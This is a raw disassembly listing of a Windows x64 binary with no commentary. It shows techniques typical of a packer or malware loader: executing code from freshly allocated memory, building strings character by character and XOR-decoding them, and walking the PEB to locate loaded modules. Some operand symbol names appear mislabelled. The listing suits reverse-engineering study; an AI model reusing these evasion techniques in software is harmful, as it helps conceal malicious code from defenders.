mov dword [rsp + 0x60], eax
cmp eax, r10d
jl 0x14002ebeb
mov edx, 0x1000
xor ecx, ecx
lea r9d, [r10 + 3]
mov r8d, 0x3000
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov qword [rbp + 0xe10], rax
call fcn.1400a18a0
or dword [rbp + 0xc004], 0xffffffff
mov r8d, 0x6c078965
mov edx, eax
lea rcx, [rbp + 0xac80]
call fcn.1400437d4
lea rcx, [rbp + 0xac80]
call fcn.1400431ec
mov r8d, eax
movabs rax, 0xc0906c513cedb3
mul r8
mov ecx, r8d
sub rcx, rdx
shr rcx, 1
add rcx, rdx
shr rcx, 0xb
imul rax, rcx, 0xff4
sub r8, rax
mov qword [rsp + 0x68], r8
xor eax, eax
mov edi, eax
lea r15d, [rax + 1]
lea rcx, [rbp + 0xac80]
call fcn.1400431ec
mov eax, eax
mov qword [rbp + rdi*8 + 0x38490], rax
add rdi, r15
cmp rdi, 0x200
jl 0x14002ead1
mov r15d, 0x1000
mov r8d, r15d
lea rdx, [rbp + 0x38490]
mov rdi, qword [rbp + 0xe10]
mov rcx, rdi
call fcn.1400c9110
mov eax, dword [rsp + 0x60]
mov dword [0x14010d364], eax
add rdi, qword [rsp + 0x68]
movsd xmm0, qword [0x14010d360]
movsd qword [rdi], xmm0
movzx eax, word [0x14010d368]
mov word [rdi + 8], ax
mov al, byte [0x14010d36a]
mov byte [rdi + 0xa], al
xor eax, eax
mov dword [rbp + 0xe68], eax
lea r9, [rbp + 0xe68]
mov r8d, r12d
mov edx, r15d
mov rcx, qword [rbp + 0xe10]
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
mov dword [rsp + 0x28], 4
mov dword [rsp + 0x20], 0x3000
lea r9, [rbp + 0xf00]
xor r8d, r8d
lea rdx, [rbp + 0xd30]
mov rcx, qword [rbp - 0x80]
call rdi
mov edi, eax
lea r9, [rbp + 0xe68]
mov r8d, dword [rbp + 0xe68]
mov edx, r15d
mov rcx, qword [rbp + 0xe10]
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
mov r8d, r15d
xor edx, edx
mov rcx, qword [rbp + 0xe10]
call fcn.1400c97b0
mov edx, ntohs
mov r8d, 0x8000
mov rcx, qword [rbp + 0xe10]
call qword [sym.imp.KERNEL32.dll_VirtualFree]
xor r9d, r9d
mov dword [0x14010d364], r9d
test edi, edi
lea r15d, [r9 + 0x17]
js 0x14002ebff
mov r10d, 1
mov rax, qword [rbp + 0xd30]
mov qword [rbp - 0x50], rax
test rax, rax
jne 0x14002f20b
mov word [rbp + 0x470], 0xde27
mov r9, rbx
mov r8d, 1
mov dl, reloc.WS2_32.dll_WSAGetLastError
lea rcx, [rbp + 0x470]
call fcn.1400429f8
mov byte [rbp + 0x472], al
mov r9, rbx
mov r8d, 2
mov dl, reloc.WS2_32.dll_WSAGetLastError
lea rcx, [rbp + 0x470]
call fcn.1400429f8
mov byte [rbp + 0x473], al
mov r9, rbx
mov r8d, 3
mov dl, reloc.WS2_32.dll_WSACleanup
lea rcx, [rbp + 0x470]
call fcn.1400429f8
mov byte [rbp + 0x474], al
mov r9, rbx
mov r8d, 4
mov dl, reloc.WS2_32.dll_WSAStartup
lea rcx, [rbp + 0x470]
call fcn.1400429f8
mov byte [rbp + 0x475], al
mov r9, rbx
mov r8d, 5
mov dl, reloc.WS2_32.dll_WSACleanup
lea rcx, [rbp + 0x470]
call fcn.1400429f8
mov byte [rbp + 0x476], al
mov r9, rbx
mov r8d, 6
mov dl, WSAStartup
lea rcx, [rbp + 0x470]
call fcn.1400429f8
mov byte [rbp + 0x477], al
mov r9, rbx
mov r8d, 7
mov dl, 0x61
lea rcx, [rbp + 0x470]
call fcn.1400429f8
mov byte [rbp + 0x478], al
mov r9, rbx
mov r8d, 8
mov dl, reloc.WS2_32.dll_WSASetLastError
lea rcx, [rbp + 0x470]
call fcn.1400429f8
mov byte [rbp + 0x479], al
mov r9, rbx
mov r8d, 9
mov dl, r12b
lea rcx, [rbp + 0x470]
call fcn.1400429f8
mov byte [rbp + 0x47a], al
mov r9, rbx
mov r8d, 0xa
mov dl, 0x46
lea rcx, [rbp + 0x470]
call fcn.1400429f8
mov byte [rbp + 0x47b], al
mov r9, rbx
mov r8d, ntohs
mov dl, 0x61
lea rcx, [rbp + 0x470]
call fcn.1400429f8
mov byte [rbp + 0x47c], al
mov r9, rbx
mov r8d, ntohs
mov dl, 0x69
lea rcx, [rbp + 0x470]
call fcn.1400429f8
mov byte [rbp + 0x47d], al
mov r9, rbx
mov r8d, reloc.WS2_32.dll_listen
mov dl, 0x6c
lea rcx, [rbp + 0x470]
call fcn.1400429f8
mov byte [rbp + 0x47e], al
mov r9, rbx
mov r8d, select
mov dl, 0x75
lea rcx, [rbp + 0x470]
call fcn.1400429f8
mov byte [rbp + 0x47f], al
mov r9, rbx
mov r8d, reloc.WS2_32.dll_ntohs
mov dl, WSAStartup
lea rcx, [rbp + 0x470]
call fcn.1400429f8
mov byte [rbp + 0x480], al
mov r9, rbx
mov r8, r13
mov dl, 0x65
lea rcx, [rbp + 0x470]
call fcn.1400429f8
mov byte [rbp + 0x481], al
xor eax, eax
mov byte [rbp + 0x482], al
xor r10d, r10d
mov r8d, r10d
mov r9, rbx
lea r11d, [rax + 1]
movabs r10, 0x8080808080808081
movsx eax, byte [rbp + 0x470]
add eax, r11d
movsxd rdi, eax
lea rax, [r8 + 0x11]
imul rdi, rax
mov rax, r10
mul rdi
shr rdx, 7
imul rax, rdx, 0xff
sub rdi, rax
mov cl, r8b
and cl, 7
shl cl, 3
movsx rdx, byte [rbp + 0x470]
sar rdx, cl
xor dil, dl
mov rax, r10
mul r9
shr rdx, 7
imul rax, rdx, 0xff
mov rcx, r9
sub rcx, rax
xor dil, cl
xor byte [rbp + r8 + 0x471], dil
add r8, r11
add r9, rbx
cmp r9, 0x132
jb 0x14002edf5
xor r10d, r10d
mov byte [rbp + 0x482], r10b
mov word [rbp + 0x880], 0xbc7b
lea edi, [r10 + 0x1c]
mov r9d, edi
mov r8, r11
mov dl, 0x61
lea rcx, [rbp + 0x880]
call fcn.140043f54
mov byte [rbp + 0x882], al
mov r9d, edi
lea r8d, [rdi - 0x1a]
mov dl, 0x69
lea rcx, [rbp + 0x880]
call fcn.140043f54
mov byte [rbp + 0x883], al
mov r9d, edi
lea r8d, [rdi - 0x19]
mov dl, 0x6c
lea rcx, [rbp + 0x880]
call fcn.140043f54
mov byte [rbp + 0x884], al
mov r9d, edi
lea r8d, [rdi - 0x18]
mov dl, 0x65
lea rcx, [rbp + 0x880]
call fcn.140043f54
mov byte [rbp + 0x885], al
mov r9d, edi
lea r8d, [rdi - 0x17]
mov dl, 0x64
lea rcx, [rbp + 0x880]
call fcn.140043f54
mov byte [rbp + 0x886], al
mov r9d, edi
lea r8d, [rdi - 0x16]
mov dl, r12b
lea rcx, [rbp + 0x880]
call fcn.140043f54
mov byte [rbp + 0x887], al
mov r9d, edi
lea r8d, [rdi - 0x15]
mov dl, reloc.WS2_32.dll_WSACleanup
lea rcx, [rbp + 0x880]
call fcn.140043f54
mov byte [rbp + 0x888], al
mov r9d, edi
lea r8d, [rdi - 0x14]
mov dl, reloc.WS2_32.dll_WSAGetLastError
lea rcx, [rbp + 0x880]
call fcn.140043f54
mov byte [rbp + 0x889], al
mov r9d, edi
lea r8d, [rdi - 0x13]
mov dl, r12b
lea rcx, [rbp + 0x880]
call fcn.140043f54
mov byte [rbp + 0x88a], al
mov r9d, edi
lea r8d, [rdi - 0x12]
mov dl, 0x51
lea rcx, [rbp + 0x880]
call fcn.140043f54
mov byte [rbp + 0x88b], al
mov r9d, edi
lea r8d, [rdi - 0x11]
mov dl, 0x75
lea rcx, [rbp + 0x880]
call fcn.140043f54
mov byte [rbp + 0x88c], al
mov r9d, edi
lea r8d, [rdi - 0x10]
mov dl, 0x65
lea rcx, [rbp + 0x880]
call fcn.140043f54
mov byte [rbp + 0x88d], al
mov r9d, edi
lea r8d, [rdi - 0xf]
mov dl, WSAStartup
lea rcx, [rbp + 0x880]
call fcn.140043f54
mov byte [rbp + 0x88e], al
mov r9d, edi
lea r8d, [rdi - 0xe]
mov dl, 0x79
lea rcx, [rbp + 0x880]
call fcn.140043f54
mov byte [rbp + 0x88f], al
mov r9d, edi
lea r8d, [rdi - 0xd]
mov dl, r12b
lea rcx, [rbp + 0x880]
call fcn.140043f54
mov byte [rbp + 0x890], al
mov r9d, edi
mov r8, r13
mov dl, 0x53
lea rcx, [rbp + 0x880]
call fcn.140043f54
mov byte [rbp + 0x891], al
mov r9d, edi
mov r8, rbx
mov dl, reloc.WS2_32.dll_WSACleanup
lea rcx, [rbp + 0x880]
call fcn.140043f54
mov byte [rbp + 0x892], al
mov r9d, edi
lea r8d, [rdi - 0xa]
mov dl, 0x61
lea rcx, [rbp + 0x880]
call fcn.140043f54
mov byte [rbp + 0x893], al
mov r9d, edi
lea r8d, [rdi - 9]
mov dl, WSAStartup
lea rcx, [rbp + 0x880]
call fcn.140043f54
mov byte [rbp + 0x894], al
mov r9d, edi
mov r8, rsi
mov dl, reloc.WS2_32.dll_WSACleanup
lea rcx, [rbp + 0x880]
call fcn.140043f54
mov byte [rbp + 0x895], al
mov r9d, edi
mov r8, r14
mov dl, 0x75
lea rcx, [rbp + 0x880]
call fcn.140043f54
mov byte [rbp + 0x896], al
mov r9d, edi
lea r8d, [rdi - 6]
mov dl, reloc.WS2_32.dll_WSASetLastError
lea rcx, [rbp + 0x880]
call fcn.140043f54
mov byte [rbp + 0x897], al
mov r9d, edi
mov r8, r15
mov dl, r12b
lea rcx, [rbp + 0x880]
call fcn.140043f54
mov byte [rbp + 0x898], al
mov r9d, edi
lea r8d, [rdi - 4]
mov dl, 0x49
lea rcx, [rbp + 0x880]
call fcn.140043f54
mov byte [rbp + 0x899], al
mov r9d, edi
lea r8d, [rdi - 3]
mov dl, WSAGetLastError
lea rcx, [rbp + 0x880]
call fcn.140043f54
mov byte [rbp + 0x89a], al
mov r9d, edi
lea r8d, [rdi - 2]
mov dl, 0x66
lea rcx, [rbp + 0x880]
call fcn.140043f54
mov byte [rbp + 0x89b], al
mov r9d, edi
lea r8d, [rdi - 1]
mov dl, reloc.WS2_32.dll_WSAGetLastError
lea rcx, [rbp + 0x880]
call fcn.140043f54
mov byte [rbp + 0x89c], al
xor eax, eax
mov byte [rbp + 0x89d], al
xor r10d, r10d
mov r8d, r10d
mov r9d, edi
lea ebx, [rdi - 0x1b]
movabs r11, 0x8080808080808081
movsx eax, byte [rbp + 0x880]
add eax, ebx
movsxd rdi, eax
lea rax, [r8 + 0x1c]
imul rdi, rax
mov rax, r11
mul rdi
shr rdx, 7
imul rax, rdx, 0xff
sub rdi, rax
mov cl, r8b
and cl, 7
shl cl, 3
movsx rdx, byte [rbp + 0x880]
sar rdx, cl
xor dil, dl
mov rax, r11
mul r9
shr rdx, 7
imul rax, rdx, 0xff
mov rcx, r9
sub rcx, rax
xor dil, cl
xor byte [rbp + r8 + 0x881], dil
add r8, rbx
add r9, 0x1c
cmp r9, 0x32c
jb 0x14002f172
mov byte [rbp + 0x89d], r10b
xor r9d, r9d
lea r8, [rbp + 0x471]
lea rdx, [rbp + 0x881]
xor ecx, ecx
call qword [sym.imp.USER32.dll_MessageBoxA]
mov ecx, ebx
call fcn.1400a8858
int3
movabs rcx, 0xfc7aeea332188
mov qword [rbp + 0xf28], rcx
movabs rcx, 0xd9938cff1332a
mov qword [rbp + 0xf30], rcx
add rax, 0x18
mov qword [rbp + 0xf38], rax
mov eax, dword [rbp - 0x68]
mov qword [rsp + 0x68], rax
movabs rax, 0xa9ff9483ccaeddf
mov qword [rbp - 0x78], rax
mov qword [rbp + 0xe10], r9
mov r8d, r9d
mov rdi, r9
lea eax, [r8 + 1]
mov r8d, eax
movzx ecx, byte [rsp + rdi + 0x68]
imul ecx, eax
movzx eax, byte [rbp + rdi - 0x78]
xor ecx, eax
mov eax, 0x80808081
imul ecx
add edx, ecx
sar edx, 7
mov eax, edx
shr eax, 0x1f
add edx, eax
imul eax, edx, 0xff
sub ecx, eax
mov byte [rbp + rdi + 0xe10], cl
add rdi, r10
cmp r8d, 8
jb 0x14002f25b
mov r11d, r9d
mov rax, r9
lea r8, [rbp + 0xf28]
mov ebx, 1
movabs rsi, 0x8080808080808081
and eax, 7
mov dil, byte [rbp + rax + 0xe10]
mov r10b, dil
xor r10b, 0x18
mov byte [rbp - 0x38], dil
mov ecx, r9d
lea r9, [rbp + 0xe10]
movzx edi, dil
movzx eax, byte [r9]
add rdi, rax
xor rdi, qword [rbp + 0xe10]
mov rax, rsi
imul rdi
add rdx, rdi
sar rdx, 7
mov rax, rdx
shr rax, 0x3f
add rdx, rax
imul rax, rdx, 0xff
sub rdi, rax
add ecx, ebx
add r9, rbx
cmp ecx, 8
jb 0x14002f2d8
movzx ecx, byte [rbp - 0x38]
movzx eax, r10b
add ecx, eax
movzx eax, dil
add ecx, eax
mov eax, 0x80808081
mul ecx
shr edx, 7
imul eax, edx, 0xff
sub ecx, eax
add cl, byte [r8]
xor cl, dil
mov byte [r8], cl
add r11d, ebx
add r8, rbx
movsxd rax, r11d
cmp rax, 0x18
mov r9d, 0
jb 0x14002f2b8
mov eax, dword [rbp - 0x68]
mov qword [rsp + 0x68], rax
movabs rax, 0xa9ff9483ccaeddf
mov qword [rbp - 0x78], rax
xor eax, eax
mov qword [rbp + 0xe98], rax
mov r8d, eax
mov edi, eax
lea ebx, [rax + 0x11]
lea esi, [rax + 0x14]
lea r13d, [r9 + 1]
lea eax, [r8 + 1]
mov r8d, eax
movzx ecx, byte [rsp + rdi + 0x68]
imul ecx, eax
movzx eax, byte [rbp + rdi - 0x78]
xor ecx, eax
mov eax, 0x80808081
imul ecx
add edx, ecx
sar edx, 7
mov eax, edx
shr eax, 0x1f
add edx, eax
imul eax, edx, 0xff
sub ecx, eax
mov byte [rbp + rdi + 0xe98], cl
add rdi, r13
cmp r8d, 8
jb 0x14002f387
xor r12d, r12d
mov r11d, r12d
mov eax, r12d
lea r8, [rbp + 0x28270]
lea r13d, [r12 + 0x10]
lea r15d, [r12 + 1]
and eax, 7
mov dil, byte [rbp + rax + 0xe98]
mov r10b, dil
xor r10b, 5
mov byte [rbp - 0x38], dil
mov ecx, r12d
lea r9, [rbp + 0xe98]
movabs r12, 0x8080808080808081
movzx edi, dil
movzx eax, byte [r9]
add rdi, rax
xor rdi, qword [rbp + 0xe98]
mov rax, r12
imul rdi
add rdx, rdi
sar rdx, 7
mov rax, rdx
shr rax, 0x3f
add rdx, rax
imul rax, rdx, 0xff
sub rdi, rax
add ecx, r15d
add r9, r15
cmp ecx, 8
jb 0x14002f40c
movzx ecx, byte [rbp - 0x38]
movzx eax, r10b
add ecx, eax
movzx eax, dil
add ecx, eax
mov eax, 0x80808081
mul ecx
shr edx, 7
imul eax, edx, 0xff
sub ecx, eax
add cl, byte [r8]
xor cl, dil
mov byte [r8], cl
add r11d, r15d
add r8, r15
movsxd rax, r11d
cmp rax, 0x104
mov r12d, 0
jb 0x14002f3e2
mov rax, qword [rbp + 0xcd8]
mov qword [rbp + 0xe10], rax
mov word [rbp + 0x4e8], 0x2a1e
mov r9, rsi
mov r8, r15
mov dl, reloc.WS2_32.dll_WSACleanup
lea rcx, [rbp + 0x4e8]
call fcn.1400430f8
mov byte [rbp + 0x4ea], al
mov r9, rsi
lea r8d, [r12 + 2]
mov dl, 0x57
lea rcx, [rbp + 0x4e8]
call fcn.1400430f8
mov byte [rbp + 0x4eb], al
mov r9, rsi
lea r8d, [r12 + 3]
mov dl, WSAStartup
lea rcx, [rbp + 0x4e8]
call fcn.1400430f8
mov byte [rbp + 0x4ec], al
mov r9, rsi
lea r8d, [r12 + 4]
mov dl, 0x69
lea rcx, [rbp + 0x4e8]
call fcn.1400430f8
mov byte [rbp + 0x4ed], al
mov r9, rsi
lea r8d, [r12 + 5]
mov dl, reloc.WS2_32.dll_WSACleanup
lea rcx, [rbp + 0x4e8]
call fcn.1400430f8
mov byte [rbp + 0x4ee], al
mov r9, rsi
lea r8d, [r12 + 6]
mov dl, 0x65
lea rcx, [rbp + 0x4e8]
call fcn.1400430f8
mov byte [rbp + 0x4ef], al
mov r9, rsi
lea r8d, [r12 + 7]
mov dl, 0x56
lea rcx, [rbp + 0x4e8]
call fcn.1400430f8
mov byte [rbp + 0x4f0], al
mov r9, rsi
lea r8d, [r12 + 8]
mov dl, 0x69
lea rcx, [rbp + 0x4e8]
call fcn.1400430f8
mov byte [rbp + 0x4f1], al
mov r9, rsi
lea r8d, [r12 + 9]
mov dl, WSAStartup
lea rcx, [rbp + 0x4e8]
call fcn.1400430f8
mov byte [rbp + 0x4f2], al
mov r9, rsi
lea r8d, [r12 + 0xa]
mov dl, reloc.WS2_32.dll_WSACleanup
lea rcx, [rbp + 0x4e8]
call fcn.1400430f8
mov byte [rbp + 0x4f3], al
mov r9, rsi
lea r8d, [r12 + 0xb]
mov dl, 0x75
lea rcx, [rbp + 0x4e8]
call fcn.1400430f8
mov byte [rbp + 0x4f4], al
mov r9, rsi
lea r8d, [r12 + 0xc]
mov dl, 0x61
lea rcx, [rbp + 0x4e8]
call fcn.1400430f8
mov byte [rbp + 0x4f5], al
mov r9, rsi
lea r8d, [r12 + 0xd]
mov dl, 0x6c
lea rcx, [rbp + 0x4e8]
call fcn.1400430f8
mov byte [rbp + 0x4f6], al
mov r9, rsi
lea r8d, [r12 + 0xe]
mov dl, 0x4d
lea rcx, [rbp + 0x4e8]
call fcn.1400430f8
mov byte [rbp + 0x4f7], al
mov r9, rsi
lea r8d, [r12 + 0xf]
mov dl, 0x65
lea rcx, [rbp + 0x4e8]
call fcn.1400430f8
mov byte [rbp + 0x4f8], al
mov r9, rsi
mov r8, r13
mov dl, 0x6d
lea rcx, [rbp + 0x4e8]
call fcn.1400430f8
mov byte [rbp + 0x4f9], al
mov r9, rsi
mov r8, rbx
mov dl, reloc.WS2_32.dll_WSAGetLastError
lea rcx, [rbp + 0x4e8]
call fcn.1400430f8
mov byte [rbp + 0x4fa], al
mov r9, rsi
lea r8d, [r12 + 0x12]
mov dl, WSAStartup
lea rcx, [rbp + 0x4e8]
call fcn.1400430f8
mov byte [rbp + 0x4fb], al
mov r9, rsi
lea r8d, [r12 + 0x13]
mov dl, 0x79
lea rcx, [rbp + 0x4e8]
call fcn.1400430f8
mov byte [rbp + 0x4fc], al
xor eax, eax
mov byte [rbp + 0x4fd], al
mov r8d, r12d
mov r9, rsi
lea r15d, [r12 + 0x17]
lea r12d, [r8 + 0x20]
lea r10d, [r8 + 1]
movabs r11, 0x8080808080808081
movsx eax, byte [rbp + 0x4e8]
add eax, r10d
movsxd rdi, eax
lea rax, [r8 + 0x14]
imul rdi, rax
mov rax, r11
mul rdi
shr rdx, 7
imul rax, rdx, 0xff
sub rdi, rax
mov cl, r8b
and cl, 7
shl cl, 3
movsx rdx, byte [rbp + 0x4e8]
sar rdx, cl
xor dil, dl
mov rax, r11
mul r9
shr rdx, 7
imul rax, rdx, 0xff
mov rcx, r9
sub rcx, rax
xor dil, cl
xor byte [rbp + r8 + 0x4e9], dil
add r8, r10
add r9, rsi
cmp r9, 0x1a4
jb 0x14002f6da
xor edi, edi
mov byte [rbp + 0x4fd], dil
mov word [rbp + 0x1c8], 0xde12
lea r9d, [rdi + 9]
mov r8, r10
mov dl, reloc.WS2_32.dll_WSACleanup
lea rcx, [rbp + 0x1c8]
call fcn.140042908
mov byte [rbp + 0x1ca], al
lea r9d, [rdi + 9]
lea r8d, [rdi + 2]
mov dl, 0x64
lea rcx, [rbp + 0x1c8]
call fcn.140042908
mov byte [rbp + 0x1cb], al
lea r9d, [rdi + 9]
lea r8d, [rdi + 3]
mov dl, 0x6c
lea rcx, [rbp + 0x1c8]
call fcn.140042908
mov byte [rbp + 0x1cc], al
lea r9d, [rdi + 9]
lea r8d, [rdi + 4]
mov dl, 0x6c
lea rcx, [rbp + 0x1c8]
call fcn.140042908
mov byte [rbp + 0x1cd], al
lea r9d, [rdi + 9]
lea r8d, [rdi + 5]
mov dl, reloc.WLDAP32.dll_Ordinal_46
lea rcx, [rbp + 0x1c8]
call fcn.140042908
mov byte [rbp + 0x1ce], al
lea r9d, [rdi + 9]
lea r8d, [rdi + 6]
mov dl, 0x64
lea rcx, [rbp + 0x1c8]
call fcn.140042908
mov byte [rbp + 0x1cf], al
lea r9d, [rdi + 9]
lea r8d, [rdi + 7]
mov dl, 0x6c
lea rcx, [rbp + 0x1c8]
call fcn.140042908
mov byte [rbp + 0x1d0], al
lea r9d, [rdi + 9]
lea r8d, [rdi + 8]
mov dl, 0x6c
lea rcx, [rbp + 0x1c8]
call fcn.140042908
mov byte [rbp + 0x1d1], al
xor eax, eax
mov byte [rbp + 0x1d2], al
mov r8d, edi
lea r9d, [rdi + 9]
lea r10d, [rdi + 1]
movabs r11, 0x8080808080808081
movsx eax, byte [rbp + 0x1c8]
add eax, r10d
movsxd rdi, eax
lea rax, [r8 + 9]
imul rdi, rax
mov rax, r11
mul rdi
shr rdx, 7
imul rax, rdx, 0xff
sub rdi, rax
mov cl, r8b
and cl, 7
shl cl, 3
movsx rdx, byte [rbp + 0x1c8]
sar rdx, cl
xor dil, dl
mov rax, r11
mul r9
shr rdx, 7
imul rax, rdx, 0xff
mov rcx, r9
sub rcx, rax
xor dil, cl
xor byte [rbp + r8 + 0x1c9], dil
add r8, r10
add r9, 9
cmp r9, 0x5a
jb 0x14002f859
xor r9d, r9d
mov byte [rbp + 0x1d2], r9b
mov rax, qword gs:[0x60]
test rax, rax
je 0x14002f9ee
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x20]
mov qword [rbp - 0x80], rax
mov qword [rbp - 0x30], rax
mov rax, qword [rax + 0x40]
mov qword [rbp - 0x78], rax
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_lstrlenW]
mov dword [rsp + 0x60], eax
xor ecx, ecx
mov edi, ecx
mov dword [rsp + 0x78], ecx
movsxd rcx, eax
inc rcx
call fcn.1400a1b84
mov r9, rax
mov qword [rsp + 0x68], rax
xor eax, eax
mov edx, eax
movsxd r8, dword [rsp + 0x60]
test r8d, r8d
jle 0x14002f96c
lea r13d, [rax + 1]
mov r10d, r13d
mov r15, qword [rbp - 0x78]
mov ecx, r10d
cmp word [r15 + rdx*2], 0x5c
cmovne ecx, edi
mov edi, ecx
mov al, byte [r15 + rdx*2]
mov byte [r9 + rdx], al
add r10d, r13d
add rdx, r13
cmp rdx, r8
jl 0x14002f93d
mov r15d, reloc.WS2_32.dll_socket
lea r13d, [r15 - 7]
mov dword [rsp + 0x78], ecx
sub r8d, edi
movsxd rdi, r8d
movsxd rdx, dword [rsp + 0x78]
add rdx, r9
mov r8, rdi
mov rcx, r9
call fcn.1400c9110
mov rcx, qword [rsp + 0x68]
xor r10d, r10d
mov byte [rcx + rdi], r10b
movzx edi, r10b
cmp qword [rbp - 0x78], r10
je 0x14002f9c8
mov rax, rcx
lea r9, [rbp + 0x1c9]
sub r9, rcx
lea r11d, [r10 + 1]
movzx r8d, byte [rax]
movzx edx, byte [rax + r9]
sub r8d, edx
jne 0x14002f9c1
add rax, r11
test edx, edx
jne 0x14002f9ac
test r8d, r8d
cmove edi, r11d
call fcn.1400a1900
xor r9d, r9d
test dil, dil
jne 0x1400304bb
mov rax, qword [rbp - 0x30]
mov rax, qword [rax]
mov qword [rbp - 0x30], rax
cmp rax, qword [rbp - 0x80]
jne 0x14002f8f4
mov dword [rbp - 0x68], r9d
mov rax, qword [rbp + 0xcd8]
mov qword [rbp + 0xe10], rax
mov word [rbp + 0x590], 0x731b
mov r9, rsi
mov r8d, 1
mov dl, reloc.WS2_32.dll_WSACleanup
lea rcx, [rbp + 0x590]
call fcn.1400430f8
mov byte [rbp + 0x592], al
mov r9, rsi
mov r8d, 2
mov dl, 0x57
lea rcx, [rbp + 0x590]
call fcn.1400430f8
mov byte [rbp + 0x593], al
mov r9, rsi
mov r8d, 3
mov dl, WSAStartup
lea rcx, [rbp + 0x590]
call fcn.1400430f8
mov byte [rbp + 0x594], al
mov r9, rsi
mov r8d, 4
mov dl, 0x69
lea rcx, [rbp + 0x590]
call fcn.1400430f8
mov byte [rbp + 0x595], al
mov r9, rsi
mov r8d, 5
mov dl, reloc.WS2_32.dll_WSACleanup
lea rcx, [rbp + 0x590]
call fcn.1400430f8
mov byte [rbp + 0x596], al
mov r9, rsi
mov r8d, 6
mov dl, 0x65
lea rcx, [rbp + 0x590]
call fcn.1400430f8
mov byte [rbp + 0x597], al
mov r9, rsi
mov r8d, 7
mov dl, 0x56
lea rcx, [rbp + 0x590]
call fcn.1400430f8
mov byte [rbp + 0x598], al
mov r9, rsi
mov r8d, 8
mov dl, 0x69
lea rcx, [rbp + 0x590]
call fcn.1400430f8
mov byte [rbp + 0x599], al
mov r9, rsi
mov r8d, 9
mov dl, WSAStartup
lea rcx, [rbp + 0x590]
call fcn.1400430f8
mov byte [rbp + 0x59a], al
mov r9, rsi
mov r8d, 0xa
mov dl, reloc.WS2_32.dll_WSACleanup
lea rcx, [rbp + 0x590]
call fcn.1400430f8
mov byte [rbp + 0x59b], al
mov r9, rsi
mov r8d, ntohs
mov dl, 0x75
lea rcx, [rbp + 0x590]
call fcn.1400430f8
mov byte [rbp + 0x59c], al
mov r9, rsi
mov r8d, ntohs
mov dl, 0x61
lea rcx, [rbp + 0x590]
call fcn.1400430f8
mov byte [rbp + 0x59d], al
mov r9, rsi
mov r8d, reloc.WS2_32.dll_listen
mov dl, 0x6c
lea rcx, [rbp + 0x590]
call fcn.1400430f8
mov byte [rbp + 0x59e], al
mov r9, rsi
mov r8d, select
mov dl, 0x4d
lea rcx, [rbp + 0x590]
call fcn.1400430f8
mov byte [rbp + 0x59f], al
mov r9, rsi
mov r8d, reloc.WS2_32.dll_ntohs
mov dl, 0x65
lea rcx, [rbp + 0x590]
call fcn.1400430f8
mov byte [rbp + 0x5a0], al
mov r9, rsi
mov r8, r13
mov dl, 0x6d
lea rcx, [rbp + 0x590]
call fcn.1400430f8
mov byte [rbp + 0x5a1], al
mov r9, rsi
mov r8, rbx
mov dl, reloc.WS2_32.dll_WSAGetLastError
lea rcx, [rbp + 0x590]
call fcn.1400430f8
mov byte [rbp + 0x5a2], al
mov r9, rsi
mov r8d, reloc.WS2_32.dll_select
mov dl, WSAStartup
lea rcx, [rbp + 0x590]
call fcn.1400430f8
mov byte [rbp + 0x5a3], al
mov r9, rsi
mov r8d, reloc.WS2_32.dll_send
mov dl, 0x79
lea rcx, [rbp + 0x590]
call fcn.1400430f8
mov byte [rbp + 0x5a4], al
xor eax, eax
mov byte [rbp + 0x5a5], al
mov r8d, eax
mov r9, rsi
lea r10d, [rax + 1]
movabs r11, 0x8080808080808081
movsx eax, byte [rbp + 0x590]
add eax, r10d
movsxd rdi, eax
lea rax, [r8 + 0x14]
imul rdi, rax
mov rax, r11
mul rdi
shr rdx, 7
imul rax, rdx, 0xff
sub rdi, rax
mov cl, r8b
and cl, 7
shl cl, 3
movsx rdx, byte [rbp + 0x590]
sar rdx, cl
xor dil, dl
mov rax, r11
mul r9
shr rdx, 7
imul rax, rdx, 0xff
mov rcx, r9
sub rcx, rax
xor dil, cl
xor byte [rbp + r8 + 0x591], dil
add r8, r10
add r9, rsi
cmp r9, 0x1a4
jb 0x14002fc46
xor edi, edi
mov byte [rbp + 0x5a5], dil
mov word [rbp + 0x1b8], 0x7922
lea r9d, [rdi + 9]
mov r8, r10
mov dl, reloc.WS2_32.dll_WSACleanup
lea rcx, [rbp + 0x1b8]
call fcn.140042908
mov byte [rbp + 0x1ba], al
lea r9d, [rdi + 9]
lea r8d, [rdi + 2]
mov dl, 0x64
lea rcx, [rbp + 0x1b8]
call fcn.140042908
mov byte [rbp + 0x1bb], al
lea r9d, [rdi + 9]
lea r8d, [rdi + 3]
mov dl, 0x6c
lea rcx, [rbp + 0x1b8]
call fcn.140042908
mov byte [rbp + 0x1bc], al
lea r9d, [rdi + 9]
lea r8d, [rdi + 4]
mov dl, 0x6c
lea rcx, [rbp + 0x1b8]
call fcn.140042908
mov byte [rbp + 0x1bd], al
lea r9d, [rdi + 9]
lea r8d, [rdi + 5]
mov dl, reloc.WLDAP32.dll_Ordinal_46
lea rcx, [rbp + 0x1b8]
call fcn.140042908
mov byte [rbp + 0x1be], al
lea r9d, [rdi + 9]
lea r8d, [rdi + 6]
mov dl, 0x64
lea rcx, [rbp + 0x1b8]
call fcn.140042908
mov byte [rbp + 0x1bf], al
lea r9d, [rdi + 9]
lea r8d, [rdi + 7]
mov dl, 0x6c
lea rcx, [rbp + 0x1b8]
call fcn.140042908
mov byte [rbp + 0x1c0], al
lea r9d, [rdi + 9]
lea r8d, [rdi + 8]
mov dl, 0x6c
lea rcx, [rbp + 0x1b8]
call fcn.140042908
mov byte [rbp + 0x1c1], al
xor eax, eax
mov byte [rbp + 0x1c2], al
mov r8d, edi
lea r9d, [rdi + 9]
lea r10d, [rdi + 1]
movabs r11, 0x8080808080808081
movsx eax, byte [rbp + 0x1b8]
add eax, r10d
movsxd rdi, eax
lea rax, [r8 + 9]
imul rdi, rax
mov rax, r11
mul rdi
shr rdx, 7
imul rax, rdx, 0xff
sub rdi, rax
mov cl, r8b
and cl, 7
shl cl, 3
movsx rdx, byte [rbp + 0x1b8]
sar rdx, cl
xor dil, dl
mov rax, r11
mul r9
shr rdx, 7
imul rax, rdx, 0xff
mov rcx, r9
sub rcx, rax
xor dil, cl
xor byte [rbp + r8 + 0x1b9], dil
add r8, r10
add r9, 9
cmp r9, 0x5a
jb 0x14002fdc5
xor edi, edi
mov byte [rbp + 0x1c2], dil
mov rax, qword gs:[0x60]
test rax, rax
je 0x14002ff54
